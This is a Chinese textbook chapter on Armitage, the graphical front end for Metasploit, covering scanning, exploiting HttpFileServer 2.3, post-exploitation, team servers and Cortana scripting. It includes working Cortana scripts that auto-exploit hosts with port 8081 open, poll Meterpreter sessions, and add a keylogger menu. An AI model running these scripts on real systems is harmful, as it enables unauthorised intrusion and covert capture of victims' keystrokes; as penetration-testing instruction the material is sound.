第 11 章 利用Armitage实现Metasploit的可视化管理

上一章介绍了Metasploit如何在执法机构中发挥作用。接下来学习另一个优秀的工具,使用这个工具不仅能提高渗透测试的效率,还能为测试团队提供一个大型的红队环境。

Armitage是一个图形化操作工具,用作Metasploit的攻击管理工具。Armitage实现了Metasploit所有操作的可视化,也会根据情况给出建议。Armitage还是进行Metasploit访问共享和团队管理工作的有力工具。

本章将介绍Armitage及其功能,并将深入探讨如何使用Metasploit的这个可视化工具进行渗透测试。本章的后半部分还会介绍如何编写Armitage的Cortana脚本。

本章将着眼于以下几个要点。

好了,和Armitage携手开始这段渗透测试的旅程吧。

Armitage是一个攻击管理工具,它以图形化方式实现了Metasploit框架的自动化攻击。Raphael Mudge采用Java构建了Armitage,它拥有跨平台的特性,因此可以在Windows和Linux这些不同的操作系统上运行。

在本章中,我们将在Kali Linux环境下使用Armitage。启动Armitage的步骤如下所示。

(1) 打开一个Linux终端,然后在其中输入命令armitage,如下图所示。

(2) 这时会弹出一个对话框,单击对话框上的Connect按钮来建立一个到Metasploit的连接。

(3) 为了运行armitage命令,Metasploit中的远程过程调用(Remote Procedure Call,RPC)服务器必须先运行起来。在之前的弹出对话框中单击Connect按钮后,一个新的对话框就会弹出来。这个对话框会问我们是否想启动Metasploit的RPC服务。单击如下屏幕截图中的Yes按钮。

(4) 需要花费一点时间等待Metasploit的RPC服务启动并运行起来。在这个过程中,我们将会看到消息Connection refused不断出现。出现这些错误是因为Armitage一直在测试到目标的连接是否已经建立。我们可以看到这样的错误,如下面的屏幕截图所示。

下面是一些在启动Armitage时需要注意的地方。

 当出现Armitage无法找到数据库文件的时候,就需要确认Metasploit数据库是否已初始化并正确运行。这个数据库可以使用msfdb init命令初始化,使用msfdb start命令启动。

如果与Metasploit的连接正确无误地建立了,我们就可以看到Armitage的界面了。这个界面看起来如下图所示。

Armitage的界面很简单,主要包含了三个不同的窗格部分。让我们来仔细看看这三个窗格各自的作用。

正如我们在前几章中看到的那样,工作区是用来保存各种不同的攻击文件的。假设我们当前正在攻击指定范围的计算机,可是由于某些突发原因,不得不停下来转而去测试另外一个范围的计算机。在这种情形下,可以创建一个新的工作区去测试新目标范围的计算机,这样做保证了测试结果的整洁有序。因此,在完成这个工作区的测试工作以后,可以切换到其他工作区。工作区在切换时可以自动载入之前保存过的相关工作内容。这个功能可以实现在进行大量扫描工作时单独保存每个目标的扫描结果。这样就避免了各种扫描结果杂乱无章地混在一起。

如果想要创建一个新的工作区,首先导航到Workspaces选项卡,然后单击Manage。这样做将会在Armitage中产生一个新的Workspaces选项卡,如下面的屏幕截图所示。

这个新的选项卡在Armitage的第三个窗格中出现,它可以帮助我们展示所有关于工作区的信息。目前在这里还看不到任何东西,因为我们暂时还没有创建任何工作区。

现在来创建一个新的工作区。首先单击Add按钮,如下面的屏幕截图所示。

我们可以添加任意名称的工作区,比如一个为192.168.10.0/24的内部地址范围。下面给出了添加完测试范围之后的Workspaces选项卡。

可以随时切换工作区。只需选中要操作的工作区,然后单击Activate按钮即可。

Armitage中使用独立的Hosts选项卡来实现主机的管理操作和主机的扫描操作。可以单击导航栏上Hosts的按钮选项,然后选中下拉菜单中的Import Hosts选项从文件中导入主机。也可以在Hosts中选中Add Host,手动导入一台主机。

Armitage也提供主机扫描的选项。这些扫描分成了两种类型:Nmap扫描(Nmap scan)和MSF扫描(MSF scan)。MSF扫描可以使用Metasploit中的大量端口和服务扫描模块。Nmap扫描则可以使用当前最为流行的端口扫描工具Network Mapper(Nmap)。

选中hosts选项卡的MSF scan选项对网络进行扫描。不过点击MSF scan之后,Armitage会弹出一个对话框。这里需要填写一个目标范围,如下面的屏幕截图所示。

输入目标的地址范围以后,Nmap会对目标范围内所有主机的端口、服务以及操作系统进行扫描。可以在界面的第三个窗格中看到扫描的详细信息,如下图所示。

在扫描结束后,每个目标网络的主机都会以图标的形式展示在第二个窗格中。这些图标的样式取决于设备和操作系统的类型。

在上图中可以看到Windows Server 2008、Windows Server 2012和Windows 10系统。接下来查看一下目标上运行的服务。

在目标主机上单击鼠标右键,然后在弹出的菜单中选择Services,这样就可以查看当前主机上正在运行的服务。扫描的结果与下面的屏幕截图类似。

在192.168.10.109主机上运行着很多服务,例如Microsoft IIS httpd 7.0、Microsoft Windows RPC、HttpFileServer httpd 2.3,等等。通过Armitage找到与这些服务相匹配的渗透模块,然后将这些服务中的一个作为目标。

可以通过以下方法找到对应的渗透模块:首先在Armitage导航栏上选择Attacks选项卡,在弹出的下拉列表框中选择Find Attack选项。Find Attack选项将会根据目标主机上运行的服务与渗透模块数据库中的内容进行比对。在与数据库比对的过程结束以后,将会弹出一个提示框,提示的内容如下面的屏幕截图所示。

单击OK按钮以后,我们就能看到,当在主机上单击鼠标右键时,弹出菜单中一个名为Attack的选项变得可用了。在它的下一级菜单中会显示出可以用来渗透目标主机的渗透攻击模块。

当一台主机上的Attack菜单可用时,对目标进行渗透的准备工作就完成了。我们的攻击目标是HttpFileServer 2.3,采用Attack菜单上的Rejetto HTTPFileServer Remote Command Execution渗透模块进行攻击。单击Exploit选项会弹出一个新的窗口,其中展示了所有设置。我们的设置如下所示。

在所有选项都设置完毕之后,单击Launch来运行这个针对目标的渗透模块。在启动了渗透模块以后,将在界面的第三个窗格中看到渗透模块在目标上的执行过程,如下图所示。

我们看到Meterpreter窗口已经启动,这意味着已经成功地渗透了目标主机。此外,目标主机的图标会被红色闪电围绕,这意味着我们已经拥有了该主机的控制权。

Armitage的使用使得后渗透阶段变得特别轻松,简单到只需单击鼠标就可以完成所有的操作。当想执行后渗透模块的时候,只需在成功渗透了的主机上面单击鼠标右键,然后选择下拉菜单中的Meterpreter 4选项。这一切如下图所示。

选择Meterpreter将会显示出所有的后渗透模块。假设我们希望提高权限或者获得系统级的管理权限,那么可以将鼠标移动到子下拉菜单的Access处,然后单击所需功能的按钮即可。

子菜单Interact提供了以下功能:获得目标计算机的cmd命令行、建立另一个Meterpreter,等等。子菜单Explore提供了Browse Files、Show Processes、Log Keystrokes、Screenshot、Webcam Shot和Post Modules等选项,用于启动其他未在当前菜单中出现的后渗透模块,如下面的屏幕截图所示。

可以在Browse Files选项上单击以运行一个简单的后渗透模块,如下图所示。

只需轻轻一点鼠标就可以轻松地上传、下载或者浏览任何目标系统中的文件。这就是Armitage的魅力——一切都以图形化的形式展示在你面前,让你的工作远离复杂的命令语法。

使用Armitage开展的远程渗透攻击到此结束。

大型的渗透测试环境正是红队大显身手的地方。这里的红队指的就是一组为同一个任务协同工作的渗透测试工程师,他们的合作往往会产生更好的效果。Armitage中提供了一个团队服务器,这样用户就可以和渗透测试团队的成员实现高效的操作共享。我们可以使用teamserver命令和一个可控制的IP地址,以及一个自定义的密码来快速地启动一个团队服务器,如下图所示。

从上图中可以看到,我们已经成功地在IP地址192.168.10.107上启动了一个团队服务器的实例,并使用密码hackers进行了验证。在服务器成功初始化之后,我们需要将密码提供给团队的其他成员。然后,通过在命令行中输入armitage和连接的一些细节信息来启动Armitage,并连接到团队服务器,这个过程如下图所示。

当成功连接之后,我们就会看到如下所示的界面。

可以看到,这里显示的指纹与团队服务器上的指纹相同。我们选择“Yes”以继续。

我们可以选择一个昵称来加入团队服务器。按下OK键来完成连接。

可以看到,我们已经从Armitage的本地化实例成功地连接到团队服务器。另外,所有连接的用户都可以通过事件日志窗口聊天。假设有另一个用户加入了团队服务器:

现在两个来自不同实例的用户正在聊天。接下来我们开始一个端口扫描,并查看都发生了哪些变化。

可以看到,用户Nipun启动了端口扫描,在其他用户的界面立刻可以看到这个扫描的细节,而且其他用户也可以在界面中查看到目标。接下来假设Nipun向测试中添加一台主机并对其进行渗透。

我们已经知道用户Kislay同样可以查看扫描过程中的全部活动。但是如果用户Kislay想要获得这个Meterpreter的控制权限,他就需要切换到命令行中,然后输入sessions命令和标识符,如下图所示。

可以看到,在团队环境中工作远比单打独斗更高效。在下一节中我们将学习如何在Armitage中编程。

Cortana是一种脚本型语言,在Armitage中用来创建攻击向量。渗透测试工程师们使用Cortana来进行红队测试,对攻击向量进行克隆,使其像机器人一样工作。另外,红队通常是指一个独立的团队,这个团队会对目标组织发起挑战,以此提高它的安全措施和工作效率。

Cortana利用脚本语言来使用Metasploit的远程过程客户端,这为自动化地控制Metasploit操作与管理数据库提供了便利条件。

此外,Cortana语言可以按照渗透测试工程师的思路自动化响应系统的特定事件。假设我们正在对一个包含了100台主机的网络进行渗透测试,其中29台主机上运行着Windows Server 2012系统,其他主机上运行着Linux操作系统。我们需要一种方法,它可以自动使用Rejetto HTTPFileServer Remote Command Execution渗透模块对这些在8081端口上运行着HttpFileServer httpd 2.3软件的Windows Server 2012系统进行渗透。

我们可以轻松地完成这样一段脚本来实现这个任务的自动化,与此同时还能节省大量时间。一旦有符合条件的主机上线,立刻使用rejetto_hfs_exee进行渗透工作,成功后还会在其上执行预定的后渗透测试。

使用Cortana编写一个简单的攻击模块脚本将有助于我们直观地理解这种语言。因此,来看一个关于自动攻击Windows操作系统上8081端口的示例脚本:

on service_add_8081 {
      println("Hacking a Host running $1 (" . host_os($1) . ")");
      if (host_os($1) eq "Windows 7") {
              exploit("windows/http/rejetto_hfs_exec", $1, %(RPORT =>
"8081"));
      }
}

当使用Nmap或者MSF扫描发现目标的8081端口处于开放状态时,前述脚本便会执行。这段脚本会检查目标系统是否为Windows 7;如果结果为真,Cortana就会自动利用rejetto_hfs_exec渗透模块攻击目标的8081端口。

在这段脚本中,$1指明主机的IP地址;Print_ln函数输出打印字符和变量;host_os作为一个Cortana中编写的函数可以返回主机的操作系统类型;函数exploit在参数$1指定的IP地址启动一个渗透模块;%表示为渗透模块设置的选项,如果服务运行在不同的端口或者需要其他细节,可以通过%设置这些渗透模块的选项;service_add_8081指定了当在特定客户端发现开放的8081端口时触发的事件。

保存这个脚本。然后在Armitage中载入这个脚本。首先在导航栏上选择Armitage选项卡,然后单击Scripts。

为了在系统上运行这个脚本,需要执行以下步骤。

(1) 单击Load按钮,然后在Armitage中载入一个Cortana脚本,过程如下。

(2) 选择需要的脚本,然后单击Open。单击之后将会在Armitage中载入这个脚本,如下图所示。

(3) 进入Cortana控制台,然后输入命令help,这样可以列出在处理脚本时可以使用的各种选项。

(4) 如果你想查看当Cortana脚本运行时都执行了哪些操作,可以输入命令logon,在其后面输入脚本的名称。logon命令将为脚本提供日志记录功能,并会记录由脚本执行的每一个操作,整个过程如下图所示。

(5) 现在对目标执行一次深度扫描。首先选中Hosts选项卡,然后在弹出的Nmap子菜单中选中Intense Scan。

(6) 正如我们清楚看到的那样,一台开放着8081端口的主机被发现了。让我们回到Cortana控制台来查看是否发生了什么。

(7) Cortana已经通过自动运行的渗透模块搞定了目标主机。

正如我们现在看到的那样,Cortana可以帮助我们轻松地实现渗透攻击的自动化运行。在接下来的几节中,我们将会看到如何实现后渗透攻击的自动化,以及如何使用Cortana控制Metasploit中的功能。

Cortana能很好地控制Metasploit的功能。可以使用Cortana对Metasploit发出各种命令。让我们通过一个示例来更好地理解Cortana对Metasploit的控制。

cmd_async("hosts");
cmd_async("services");
on console_hosts {
println("Hosts in the Database");
println(" $3 ");
}
on console_services {
println("Services in the Database");
println(" $3 ");
}

在这段脚本中,命令cmd_async发送hosts命令和services命令到Metasploit并确保它们被执行。此外,这些console_*函数被用来打印这条命令的输出。Metasploit将执行这些命令。然而,为了打印这个输出内容,需要定义函数console_*。另外,$3是一个变量,其中保存了命令的输出内容。在ready.cna脚本加载完毕之后,打开Cortana控制台查看输出的内容。

很明显,命令的输出内容显示在屏幕上。到这里可以结束这个阶段的学习了。不过,要想得到更多有关使用Cortana脚本通过Armitage来控制Metasploit的信息,请访问http://www.Fastandeasyhacking.com/download/cortana/cortana_tutorial.pdf

使用Cortana实现后渗透攻击也是十分简单的。使用Cortana内置的功能可以轻松控制后渗透攻击。让我们通过下面的示例脚本理解这一点。

on heartbeat_15s {
local('$sid');
foreach $sid (session_ids()) {
if (-iswinmeterpreter $sid && -isready $sid) {
m_cmd($sid, "getuid");
m_cmd($sid, "getpid");
on meterpreter_getuid {
println(" $3 ");
}
on meterpreter_getpid {
println(" $3 ");
}
}
}
}

在这个脚本中,我们使用了一个名为heartbeat_15s的函数。这个函数每15秒会重复执行一次。因此,它被称为心跳函数(heart beat function)。

函数local表示$sid是当前函数中的一个局部变量。下一条foreach语句是一个对所有开放会话的循环遍历。以if开始的语句将会对每一个会话进行检查,检查内容为该会话类型是否为Windows Meterpreter控制,以及该会话是否可以进行交互并接受命令。

m_cmd函数使用诸如$sid(即会话ID)等参数和命令将命令发送给Meterpreter会话。接着,我们定义了一个meterpreter_*形式的函数,其中*意味着即将发送到Meterpreter会话的命令。这个函数将会打印sent命令的输出,正如在之前的练习中console_hostsconsole_serlices所做的那样。

执行这个脚本,并对结果进行分析,如下图所示。

成功载入并执行了这段脚本之后,每15秒就会显示目标系统的用户ID和当前使用进程的ID。

 有关Cortana的后渗透功能、脚本以及函数的更多信息,请访问http://www.fastandeasy-hacking.com/download/cortana/cortana_tutorial.pdf

通过Meterpreter会话成功连接到目标计算机之后,Cortana还可以为我们提供构建自定义菜单的功能。让我们使用Cortana来创建一个自定义键盘记录器,并通过分析以下脚本来了解Cortana脚本的工作机制。

popup meterpreter_bottom {
menu "&My Key Logger" {
item "&Start Key Logger" {
m_cmd($1, "keyscan_start");
}
item "&Stop Key Logger" {
m_cmd($1, "keyscan_stop");
}
item "&Show Keylogs" {
m_cmd($1, "keyscan_dump");
}
on meterpreter_keyscan_start {
println(" $3 ");
}
on meterpreter_keyscan_stop {
println(" $3 ");
}
on meterpreter_keyscan_dump {
println(" $3 ");
}
}
}

这段代码实现了在Meterpreter子菜单中创建一个新的弹出菜单选项。不过,只有成功渗透了目标计算机并取得了一个Meterpreter命令行,这个弹出菜单选项才是可用的。

这里的关键字popup表示要创建一个弹出式菜单项,而函数meterpreter_bottom表示当用户在目标计算机图标上单击鼠标右键并选中Meterpreter时,这个菜单项就会出现。关键字item指定了菜单中的各个选项。命令m_cmd会根据它们对应编号的会话将命令发送给Metasploit。

因此,在这段代码中,我们有三个选项:Start Key Logger、Stop Key Logger和Show Keylogs。它们分别用来开启键盘监听器、停止键盘监听器以及显示当前记录中的键盘监听数据。我们还声明了三个用来处理发送给Meterpreter的命令输出的函数。现在在Cortana中载入这个脚本,成功渗透目标计算机,然后在目标计算机的图标上单击鼠标右键,这时将会出现如下图所示的菜单。

我们会发现,一旦在被渗透了的主机上面单击鼠标右键去浏览Meterpreter菜单,就会发现这里多了一个新的菜单选项My Key Logger,它在所有菜单选项的最下方。这个菜单选项将会包含我们声明过的所有选项。一旦选择了这个菜单中的某一个选项,它对应的命令脚本将会运行,将会在Cortana命令行中显示输出。选择第一个选项Start Key Logger。然后等待一段时间,目标将在此期间使用键盘完成一些输入操作。再点击菜单上的第三个选项Show Keylogs,如下面的截图所示。

单击了Show Keylogs菜单选项以后,在Cortana控制台上将会看到被渗透计算机的使用者输入的每一个字符,如下图所示。

在需要与界面协同工作的时候,Cortana也提供了十分灵活的方法以及一系列选项和功能用来创建快捷方式、图标,切换选项卡等。设想一下,现在需要添加一个自定义功能,当我们在键盘上按下F1键的时候,Cortana将会显示目标主机的UID值。来看一个实现了这个功能的脚本。

bind F1 {
$sid ="3";
spawn(&gu, \$sid);
}
sub gu{
m_cmd($sid,"getuid");
on meterpreter_getuid {
show_message( " $3 ");
}
}

这段程序将会添加一个快捷键F1。当这个快捷键被按下的时候,系统将会显示当前目标系统的UID值。脚本中的关键字bind表示将F1键与函数的功能绑定到一起。接着,我们定义了变量$sid的值为3(这个值是我们将要进行操作的会话ID)。

函数spawn将创建一个新的Cortana实例,执行gu函数,并将值$sid设定为这个实例中的全局变量。函数gu会向Meterpreter发送getuid命令。命令meterpreter_getuid会处理命令getuid的输出。

命令show_message将会弹出一个关于命令getuid输出的信息。现在将新脚本加载到Armitage中,然后按下F1键检查这个脚本是否可以正常执行。

好了!我们轻松获得了目标系统的UID,弹出的信息框上清楚地显示了UID的值WIN-SWIKKOTKSHXmm。关于使用Armitage进行Cortana脚本编写的讨论到此结束。

 有关Cortana脚本编写及其各种功能的更多信息,请访问http://www.fastandeasyhacking.com/download/cortana/cortana_tutorial.pdf

在本章中,我们仔细学习了Armitage及其各种功能。首先介绍了界面和工作区的建立,同时讲解了如何使用Armitage实现对目标主机的渗透。接着探讨了对远程主机的客户端攻击和后渗透攻击。之后学习了Cortana和它的基本功能,以及如何使用它来控制Metasploit。最后创建了后渗透模块、自定义菜单以及界面。